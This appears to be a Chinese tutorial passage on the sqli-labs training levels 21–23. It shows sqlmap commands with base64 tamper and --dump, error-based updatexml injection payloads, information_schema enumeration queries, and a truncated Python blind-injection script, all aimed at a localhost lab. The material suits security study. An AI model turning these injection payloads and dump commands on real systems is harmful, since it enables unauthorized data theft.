目录
less-21,less-22 (基于base64编码的cookie注入)
sqlmap
header.txt
GET /sqli-labs/Less-21/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/sqli-labs/Less-21/
Cookie: uname=*
Upgrade-Insecure-Requests: 1
python3 sqlmap.py -r header.txt --technique=U --batch --fresh-queries --dump --dbms=mysql --threads=10 --tamper=base64encode
#使用tamper脚本base64encode.py对payload进行base64编码
python脚本
less-23(过滤注释符# --的GET注入)
思路
使用 and ‘1’ ='1 闭合多余的引号
【payload】
查看当前数据库名:select database();
查看当前用户名:select user();
查看所有数据库名:show databases;
查看数据库中所有表名:show tables;
数据库的个数:SELECT count(schema_name) from information_schema.schemata
数据库名的长度:SELECT length(schema_name) from information_schema.schemata limit 0,1
数据库名:SELECT schema_name from information_schema.schemata
表的个数:SELECT count(table_name) from information_schema.tables where table_schema="数据库名"
表名的长度:SELECT length(table_name) from information_schema.tables where table_schema="数据库名" limit 0,1
表名:SELECT table_name from information_schema.tables where table_schema="数据库名"
字段的个数:SELECT count(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名"
字段名的长度:SELECT length(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名" limit 0,1
字段名:SELECT column_name from information_schema.columns where table_name="表名" and table_schema="数据库名"
值的个数:SELECT count(字段名) from 数据库名.表名
值的长度:SELECT length(字段名) from 数据库名.表名 linit 0,1
值:SELECT 字段名 from 数据库名.表名
payload结构
http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(【payload】 limit 0,1),0x7e),1)) and '1'='1
自动化注入
sqlmap
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-23/?id=1" --technique=B --batch --fresh-queries --dump --dbms=mysql --threads=10
python脚本
import requests
import threading
import queue
from lxml import etree
NUM=5 #线程数
LIST=[]
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
class TimeTheBlinds(threading.Thread):
def __init__(self,url